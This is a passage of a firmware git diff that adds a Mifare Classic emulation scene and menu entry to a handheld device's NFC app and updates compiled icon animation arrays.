Field) ADD_SCENE(nfc, read_mifare_classic, ReadMifareClassic) +ADD_SCENE(nfc, emulate_mifare_classic, EmulateMifareClassic) ADD_SCENE(nfc, dict_not_found, DictNotFound) diff --git a/applications/nfc/scenes/nfc_scene_emulate_mifare_classic.c b/applications/nfc/scenes/nfc_scene_emulate_mifare_classic.c new file mode 100644 index 000000000..2b8478175 --- /dev/null +++ b/applications/nfc/scenes/nfc_scene_emulate_mifare_classic.c @@ -0,0 +1,64 @@ +#include "../nfc_i.h" +#include + +#define NFC_MF_CLASSIC_DATA_NOT_CHANGED (0UL) +#define NFC_MF_CLASSIC_DATA_CHANGED (1UL) + +void nfc_emulate_mifare_classic_worker_callback(NfcWorkerEvent event, void* context) { + UNUSED(event); + Nfc* nfc = context; + + scene_manager_set_scene_state( + nfc->scene_manager, NfcSceneEmulateMifareUl, NFC_MF_CLASSIC_DATA_CHANGED); +} + +void nfc_scene_emulate_mifare_classic_on_enter(void* context) { + Nfc* nfc = context; + DOLPHIN_DEED(DolphinDeedNfcEmulate); + + // Setup view + Popup* popup = nfc->popup; + if(strcmp(nfc->dev->dev_name, "")) { + nfc_text_store_set(nfc, "%s", nfc->dev->dev_name); + } + popup_set_icon(popup, 0, 3, &I_RFIDDolphinSend_97x61); + popup_set_header(popup, "Emulating\nMf Classic", 56, 31, AlignLeft, AlignTop); + + // Setup and start worker + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewPopup); + nfc_worker_start( + nfc->worker, + NfcWorkerStateEmulateMifareClassic, + &nfc->dev->dev_data, + nfc_emulate_mifare_classic_worker_callback, + nfc); +} + +bool nfc_scene_emulate_mifare_classic_on_event(void* context, SceneManagerEvent event) { + Nfc* nfc = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeTick) { + notification_message(nfc->notifications, &sequence_blink_blue_10); + consumed = true; + } else if(event.type == SceneManagerEventTypeBack) { + // Stop worker + nfc_worker_stop(nfc->worker); + // Check if data changed and save in shadow file + if(scene_manager_get_scene_state(nfc->scene_manager, NfcSceneEmulateMifareUl) == + NFC_MF_CLASSIC_DATA_CHANGED) { + scene_manager_set_scene_state( + nfc->scene_manager, NfcSceneEmulateMifareUl, NFC_MF_CLASSIC_DATA_NOT_CHANGED); + nfc_device_save_shadow(nfc->dev, nfc->dev->dev_name); + } + consumed = false; + } + return consumed; +} + +void nfc_scene_emulate_mifare_classic_on_exit(void* context) { + Nfc* nfc = context; + + // Clear view + popup_reset(nfc->popup); +} diff --git a/applications/nfc/scenes/nfc_scene_saved_menu.c b/applications/nfc/scenes/nfc_scene_saved_menu.c index e0489c157..1b435ccd1 100644 --- a/applications/nfc/scenes/nfc_scene_saved_menu.c +++ b/applications/nfc/scenes/nfc_scene_saved_menu.c @@ -27,13 +27,11 @@ void nfc_scene_saved_menu_on_enter(void* context) { SubmenuIndexEmulate, nfc_scene_saved_menu_submenu_callback, nfc); - } else if(nfc->dev->format == NfcDeviceSaveFormatMifareUl) { + } else if( + nfc->dev->format == NfcDeviceSaveFormatMifareUl || + nfc->dev->format == NfcDeviceSaveFormatMifareClassic) { submenu_add_item( - submenu, - "Emulate Ultralight", - SubmenuIndexEmulate, - nfc_scene_saved_menu_submenu_callback, - nfc); + submenu, "Emulate", SubmenuIndexEmulate, nfc_scene_saved_menu_submenu_callback, nfc); } submenu_add_item( submenu, "Edit UID and Name", SubmenuIndexEdit, nfc_scene_saved_menu_submenu_callback, nfc); @@ -64,6 +62,8 @@ bool nfc_scene_saved_menu_on_event(void* context, SceneManagerEvent event) { if(event.event == SubmenuIndexEmulate) { if(nfc->dev->format == NfcDeviceSaveFormatMifareUl) { scene_manager_next_scene(nfc->scene_manager, NfcSceneEmulateMifareUl); + } else if(nfc->dev->format == NfcDeviceSaveFormatMifareClassic) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneEmulateMifareClassic); } else { scene_manager_next_scene(nfc->scene_manager, NfcSceneEmulateUid); } diff --git a/assets/compiled/assets_icons.c b/assets/compiled/assets_icons.c index 566a22fd4..4992c7d96 100644 --- a/assets/compiled/assets_icons.c +++ b/assets/compiled/assets_icons.c @@ -452,43 +452,52 @@ const uint8_t _A_Tamagotchi_14_4[] = {0x00,0xF0,0x03,0x08,0x06,0x04,0x0C,0x04,0x const uint8_t _A_Tamagotchi_14_5[] = {0x00,0xF0,0x03,0x08,0x06,0x04,0x0C,0x04,0x0C,0xF2,0x19,0x5A,0x1A,0xA9,0x32,0x49,0x33,0xF1,0x31,0x01,0x30,0x52,0x39,0x02,0x18,0x0C,0x0E,0xF0,0x07,}; const uint8_t* const _A_Tamagotchi_14[] = {_A_Tamagotchi_14_0,_A_Tamagotchi_14_1,_A_Tamagotchi_14_2,_A_Tamagotchi_14_3,_A_Tamagotchi_14_4,_A_Tamagotchi_14_5}; +const uint8_t _A_TouchTunes_14_0[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t _A_TouchTunes_14_1[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t _A_TouchTunes_14_2[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t _A_TouchTunes_14_3[] = {0x01,0x00,0x1a,0x00,0xd0,0x40,0x7f,0x10,0x70,0x08,0xc2,0x20,0x91,0x08,0x10,0x0c,0x60,0x90,0x88,0x64,0x32,0x30,0x09,0x2c,0xc4,0x18,0x26,0x78,0x08,0x08,}; +const uint8_t _A_TouchTunes_14_4[] = {0x00,0x40,0x01,0xF8,0x07,0xF8,0x07,0x18,0x04,0x10,0x06,0x08,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x06,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; +const uint8_t _A_TouchTunes_14_5[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x18,0x06,0x10,0x02,0x08,0x04,0x08,0x04,0x10,0x02,0x18,0x06,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; +const uint8_t _A_TouchTunes_14_6[] = {0x00,0x00,0x01,0xF0,0x03,0xF8,0x07,0x18,0x04,0x10,0x02,0x18,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x02,0xF8,0x06,0xF8,0x07,0xF0,0x07,0x00,0x00,}; +const uint8_t _A_TouchTunes_14_7[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x00,0x04,0x10,0x04,0x08,0x04,0x0C,0x0C,0x0C,0x0C,0x18,0x04,0x00,0x04,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; +const uint8_t _A_TouchTunes_14_8[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x08,0x04,0x0C,0x0C,0x0A,0x1C,0x0E,0x18,0x08,0x0C,0x48,0x00,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x40,0x00,}; +const uint8_t _A_TouchTunes_14_9[] = {0x00,0x20,0x02,0xF8,0x07,0xF8,0x07,0x08,0x04,0x00,0x04,0x0C,0x0C,0x0B,0x34,0x0E,0x1C,0x0C,0x0C,0xE0,0x01,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; +const uint8_t _A_TouchTunes_14_10[] = {0x00,0xA0,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x08,0x00,0x0C,0x0C,0x0B,0x34,0x0A,0x14,0x0C,0x0C,0xF0,0x01,0x98,0x05,0xF8,0x07,0xF8,0x07,0x40,0x00,}; +const uint8_t _A_TouchTunes_14_11[] = {0x00,0xA0,0x01,0xF8,0x07,0xF8,0x07,0x00,0x00,0x00,0x00,0x0E,0x0C,0x0A,0x34,0x0B,0x14,0x0C,0x0C,0xE0,0x01,0x98,0x05,0xF8,0x07,0xD8,0x07,0x60,0x00,}; +const uint8_t _A_TouchTunes_14_12[] = {0x00,0xA0,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x00,0x0C,0x0C,0x0A,0x14,0x0A,0x1C,0x0C,0x0C,0xE0,0x01,0x98,0x05,0xF8,0x07,0xD8,0x07,0x60,0x00,}; +const uint8_t _A_TouchTunes_14_13[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; +const uint8_t _A_TouchTunes_14_14[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; +const uint8_t _A_TouchTunes_14_15[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; +const uint8_t _A_TouchTunes_14_16[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; +const uint8_t _A_TouchTunes_14_17[] = {0x00,0xA0,0x01,0xF8,0x07,0xF8,0x07,0x00,0x00,0x04,0x08,0x0C,0x0C,0x0A,0x14,0x0A,0x1C,0x0C,0x0C,0xE0,0x01,0x98,0x06,0xF8,0x07,0xD8,0x07,0x60,0x00,}; +const uint8_t _A_TouchTunes_14_18[] = {0x00,0x20,0x02,0xF8,0x07,0xF8,0x07,0x08,0x04,0x08,0x04,0x0E,0x0C,0x0A,0x34,0x0B,0x14,0x0C,0x0C,0xE4,0x03,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; +const uint8_t _A_TouchTunes_14_19[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x04,0x08,0x0E,0x1C,0x0B,0x34,0x0A,0x14,0x0C,0x0C,0xE0,0x03,0xF8,0x06,0xF8,0x07,0xF0,0x07,0x00,0x00,}; +const uint8_t _A_TouchTunes_14_20[] = {0x00,0x00,0x01,0xF0,0x03,0xF8,0x07,0x18,0x04,0x04,0x00,0x0C,0x0C,0x0B,0x34,0x0B,0x34,0x0C,0x0C,0xE0,0x05,0xF8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; +const uint8_t _A_TouchTunes_14_21[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x10,0x00,0x08,0x04,0x0C,0x0C,0x0C,0x0C,0x0E,0x0C,0x08,0x04,0x88,0x04,0xF0,0x02,0xF8,0x07,0xF0,0x03,0x00,0x00,}; +const uint8_t _A_TouchTunes_14_22[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x00,0x00,0x18,0x04,0x08,0x04,0x0C,0x0C,0x08,0x04,0x08,0x04,0x00,0x04,0xD8,0x02,0xF8,0x07,0xF0,0x03,0x00,0x00,}; +const uint8_t _A_TouchTunes_14_23[] = {0x01,0x00,0x14,0x00,0xa0,0x40,0x7f,0x10,0x70,0x08,0x81,0xc6,0x21,0x02,0x84,0x41,0x00,0x2a,0x09,0x1e,0xc4,0x18,0x26,0xa0,}; +const uint8_t _A_TouchTunes_14_24[] = {0x01,0x00,0x17,0x00,0x90,0x40,0xbf,0x10,0x70,0x08,0xc2,0x20,0x91,0x08,0x14,0x62,0x0c,0x05,0x10,0x3a,0xe6,0x20,0xa1,0x33,0xa0,0x40,0x00,}; +const uint8_t _A_TouchTunes_14_25[] = {0x01,0x00,0x1a,0x00,0xb0,0x40,0x7f,0x10,0x70,0x08,0xc2,0x20,0x91,0x88,0x34,0x62,0x04,0x05,0x10,0x39,0x40,0xa2,0x10,0x6c,0xc4,0x14,0x26,0x78,0x08,0x00,}; +const uint8_t _A_TouchTunes_14_26[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x10,0x06,0x08,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x06,0x98,0x04,0xF8,0x07,0xF8,0x07,0x80,0x02,}; +const uint8_t _A_TouchTunes_14_27[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t _A_TouchTunes_14_28[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t _A_TouchTunes_14_29[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t* const _A_TouchTunes_14[] = {_A_TouchTunes_14_0,_A_TouchTunes_14_1,_A_TouchTunes_14_2,_A_TouchTunes_14_3,_A_TouchTunes_14_4,_A_TouchTunes_14_5,_A_TouchTunes_14_6,_A_TouchTunes_14_7,_A_TouchTunes_14_8,_A_TouchTunes_14_9,_A_TouchTunes_14_10,_A_TouchTunes_14_11,_A_TouchTunes_14_12,_A_TouchTunes_14_13,_A_TouchTunes_14_14,_A_TouchTunes_14_15,_A_TouchTunes_14_16,_A_TouchTunes_14_17,_A_TouchTunes_14_18,_A_TouchTunes_14_19,_A_TouchTunes_14_20,_A_TouchTunes_14_21,_A_TouchTunes_14_22,_A_TouchTunes_14_23,_A_TouchTunes_14_24,_A_TouchTunes_14_25,_A_TouchTunes_14_26,_A_TouchTunes_14_27,_A_TouchTunes_14_28,_A_TouchTunes_14_29}; + const uint8_t _A_U2F_14_0[] = {0x00,0x00,0x00,0x00,0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; const uint8_t _A_U2F_14_1[] = {0x00,0x00,0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; const uint8_t _A_U2F_14_2[] = {0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0x08,0x00,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; const uint8_t _A_U2F_14_3[] = {0x00,0x00,0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; const uint8_t* const _A_U2F_14[] = {_A_U2F_14_0,_A_U2F_14_1,_A_U2F_14_2,_A_U2F_14_3}; -const uint8_t _A_UniversalRemote_14_0[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t _A_UniversalRemote_14_1[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t _A_UniversalRemote_14_2[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t _A_UniversalRemote_14_3[] = {0x01,0x00,0x1a,0x00,0xd0,0x40,0x7f,0x10,0x70,0x08,0xc2,0x20,0x91,0x08,0x10,0x0c,0x60,0x90,0x88,0x64,0x32,0x30,0x09,0x2c,0xc4,0x18,0x26,0x78,0x08,0x08,}; -const uint8_t _A_UniversalRemote_14_4[] = {0x00,0x40,0x01,0xF8,0x07,0xF8,0x07,0x18,0x04,0x10,0x06,0x08,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x06,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; -const uint8_t _A_UniversalRemote_14_5[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x18,0x06,0x10,0x02,0x08,0x04,0x08,0x04,0x10,0x02,0x18,0x06,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; -const uint8_t _A_UniversalRemote_14_6[] = {0x00,0x00,0x01,0xF0,0x03,0xF8,0x07,0x18,0x04,0x10,0x02,0x18,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x02,0xF8,0x06,0xF8,0x07,0xF0,0x07,0x00,0x00,}; -const uint8_t _A_UniversalRemote_14_7[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x00,0x04,0x10,0x04,0x08,0x04,0x0C,0x0C,0x0C,0x0C,0x18,0x04,0x00,0x04,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; -const uint8_t _A_UniversalRemote_14_8[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x08,0x04,0x0C,0x0C,0x0A,0x1C,0x0E,0x18,0x08,0x0C,0x48,0x00,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x40,0x00,}; -const uint8_t _A_UniversalRemote_14_9[] = {0x00,0x20,0x02,0xF8,0x07,0xF8,0x07,0x08,0x04,0x00,0x04,0x0C,0x0C,0x0B,0x34,0x0E,0x1C,0x0C,0x0C,0xE0,0x01,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; -const uint8_t _A_UniversalRemote_14_10[] = {0x00,0xA0,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x08,0x00,0x0C,0x0C,0x0B,0x34,0x0A,0x14,0x0C,0x0C,0xF0,0x01,0x98,0x05,0xF8,0x07,0xF8,0x07,0x40,0x00,}; -const uint8_t _A_UniversalRemote_14_11[] = {0x00,0xA0,0x01,0xF8,0x07,0xF8,0x07,0x00,0x00,0x00,0x00,0x0E,0x0C,0x0A,0x34,0x0B,0x14,0x0C,0x0C,0xE0,0x01,0x98,0x05,0xF8,0x07,0xD8,0x07,0x60,0x00,}; -const uint8_t _A_UniversalRemote_14_12[] = {0x00,0xA0,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x00,0x0C,0x0C,0x0A,0x14,0x0A,0x1C,0x0C,0x0C,0xE0,0x01,0x98,0x05,0xF8,0x07,0xD8,0x07,0x60,0x00,}; -const uint8_t _A_UniversalRemote_14_13[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; -const uint8_t _A_UniversalRemote_14_14[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; -const uint8_t _A_UniversalRemote_14_15[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; -const uint8_t _A_UniversalRemote_14_16[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; -const uint8_t _A_UniversalRemote_14_17[] = {0x00,0xA0,0x01,0xF8,0x07,0xF8,0x07,0x00,0x00,0x04,0x08,0x0C,0x0C,0x0A,0x14,0x0A,0x1C,0x0C,0x0C,0xE0,0x01,0x98,0x06,0xF8,0x07,0xD8,0x07,0x60,0x00,}; -const uint8_t _A_UniversalRemote_14_18[] = {0x00,0x20,0x02,0xF8,0x07,0xF8,0x07,0x08,0x04,0x08,0x04,0x0E,0x0C,0x0A,0x34,0x0B,0x14,0x0C,0x0C,0xE4,0x03,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; -const uint8_t _A_UniversalRemote_14_19[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x04,0x08,0x0E,0x1C,0x0B,0x34,0x0A,0x14,0x0C,0x0C,0xE0,0x03,0xF8,0x06,0xF8,0x07,0xF0,0x07,0x00,0x00,}; -const uint8_t _A_UniversalRemote_14_20[] = {0x00,0x00,0x01,0xF0,0x03,0xF8,0x07,0x18,0x04,0x04,0x00,0x0C,0x0C,0x0B,0x34,0x0B,0x34,0x0C,0x0C,0xE0,0x05,0xF8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; -const uint8_t _A_UniversalRemote_14_21[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x10,0x00,0x08,0x04,0x0C,0x0C,0x0C,0x0C,0x0E,0x0C,0x08,0x04,0x88,0x04,0xF0,0x02,0xF8,0x07,0xF0,0x03,0x00,0x00,}; -const uint8_t _A_UniversalRemote_14_22[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x00,0x00,0x18,0x04,0x08,0x04,0x0C,0x0C,0x08,0x04,0x08,0x04,0x00,0x04,0xD8,0x02,0xF8,0x07,0xF0,0x03,0x00,0x00,}; -const uint8_t _A_UniversalRemote_14_23[] = {0x01,0x00,0x14,0x00,0xa0,0x40,0x7f,0x10,0x70,0x08,0x81,0xc6,0x21,0x02,0x84,0x41,0x00,0x2a,0x09,0x1e,0xc4,0x18,0x26,0xa0,}; -const uint8_t _A_UniversalRemote_14_24[] = {0x01,0x00,0x17,0x00,0x90,0x40,0xbf,0x10,0x70,0x08,0xc2,0x20,0x91,0x08,0x14,0x62,0x0c,0x05,0x10,0x3a,0xe6,0x20,0xa1,0x33,0xa0,0x40,0x00,}; -const uint8_t _A_UniversalRemote_14_25[] = {0x01,0x00,0x1a,0x00,0xb0,0x40,0x7f,0x10,0x70,0x08,0xc2,0x20,0x91,0x88,0x34,0x62,0x04,0x05,0x10,0x39,0x40,0xa2,0x10,0x6c,0xc4,0x14,0x26,0x78,0x08,0x00,}; -const uint8_t _A_UniversalRemote_14_26[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x10,0x06,0x08,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x06,0x98,0x04,0xF8,0x07,0xF8,0x07,0x80,0x02,}; -const uint8_t _A_UniversalRemote_14_27[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t _A_UniversalRemote_14_28[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t _A_UniversalRemote_14_29[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t* const _A_UniversalRemote_14[] = {_A_UniversalRemote_14_0,_A_UniversalRemote_14_1,_A_UniversalRemote_14_2,_A_UniversalRemote_14_3,_A_UniversalRemote_14_4,_A_UniversalRemote_14_5,_A_UniversalRemote_14_6,_A_UniversalRemote_14_7,_A_UniversalRemote_14_8,_A_UniversalRemote_14_9,_A_UniversalRemote_14_10,_A_UniversalRemote_14_11,_A_UniversalRemote_14_12,_A_UniversalRemote_14_13,_A_UniversalRemote_14_14,_A_UniversalRemote_14_15,_A_UniversalRemote_14_16,_A_UniversalRemote_14_17,_A_UniversalRemote_14_18,_A_UniversalRemote_14_19,_A_UniversalRemote_14_20,_A_UniversalRemote_14_21,_A_UniversalRemote_14_22,_A_UniversalRemote_14_23,_A_UniversalRemote_14_24,_A_UniversalRemote_14_25,_A_UniversalRemote_14_26,_A_UniversalRemote_14_27,_A_UniversalRemote_14_28,_A_UniversalRemote_14_29}; +const uint8_t _A_UniversalRemote_14_0[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xb2,0xa0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; +const uint8_t _A_UniversalRemote_14_1[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x3c,0x10,0x10,0x08,0x81,0xc4,0x06,0x31,0x68,0xd4,0x56,0x54,0x01,0x10,0x28,0x83,0x56,0x41,0x01,0x0c,0x88,}; +const uint8_t _A_UniversalRemote_14_2[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xb3,0xa0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; +const uint8_t _A_UniversalRemote_14_3[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xb2,0xa0,0x08,0x81,0x44,0x1a,0xa0,0x11,0x0c,0x88,}; +const uint8_t _A_UniversalRemote_14_4[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xf2,0xa0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; +const uint8_t _A_UniversalRemote_14_5[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x3c,0x10,0x10,0x08,0x81,0xc4,0x06,0x31,0x68,0xd4,0x56,0x54,0x01,0x10,0x28,0x83,0x56,0x41,0x01,0x0c,0x88,}; +const uint8_t _A_UniversalRemote_14_6[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0xfb,0x46,0xfe,0xb2,0xb0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; +const uint8_t* const _A_UniversalRemote_14[] = {_A_UniversalRemote_14_0,_A_UniversalRemote_14_1,_A_UniversalRemote_14_2,_A_UniversalRemote_14_3,_A_UniversalRemote_14_4,_A_UniversalRemote_14_5,_A_UniversalRemote_14_6}; const uint8_t _A_iButton_14_0[] = {0x00,0x00,0x1C,0x00,0x3E,0x00,0x35,0x80,0x3A,0x78,0x15,0x84,0x0A,0x32,0x05,0x49,0x02,0x85,0x02,0x85,0x02,0x49,0x02,0x32,0x01,0x84,0x00,0x78,0x00,}; const uint8_t _A_iButton_14_1[] = {0x00,0x00,0x00,0x00,0x38,0x00,0x26,0x80,0x21,0xE0,0x10,0x38,0x0D,0x6C,0x03,0x56,0x01,0x2B,0x01,0x97,0x00,0x4D,0x00,0x21,0x00,0x1E,0x00,0x00,0x00,}; @@ -823,8 +832,9 @@ const Icon A_Power_14 = {.width=14,.height=14,.frame_count=1,.frame_rate=3,.fram const Icon A_Settings_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,.frames=_A_Settings_14}; const Icon A_Sub1ghz_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Sub1ghz_14}; const Icon A_Tamagotchi_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Tamagotchi_14}; +const Icon A_TouchTunes_14 = {.width=14,.height=14,.frame_count=30,.frame_rate=3,.frames=_A_TouchTunes_14}; const Icon A_U2F_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_U2F_14}; -const Icon A_UniversalRemote_14 = {.width=14,.height=14,.frame_count=30,.frame_rate=3,.frames=_A_UniversalRemote_14}; +const Icon A_UniversalRemote_14 = {.width=14,.height=14,.frame_count=7,.frame_rate=3,.frames=_A_UniversalRemote_14}; const Icon A_iButton_14 = 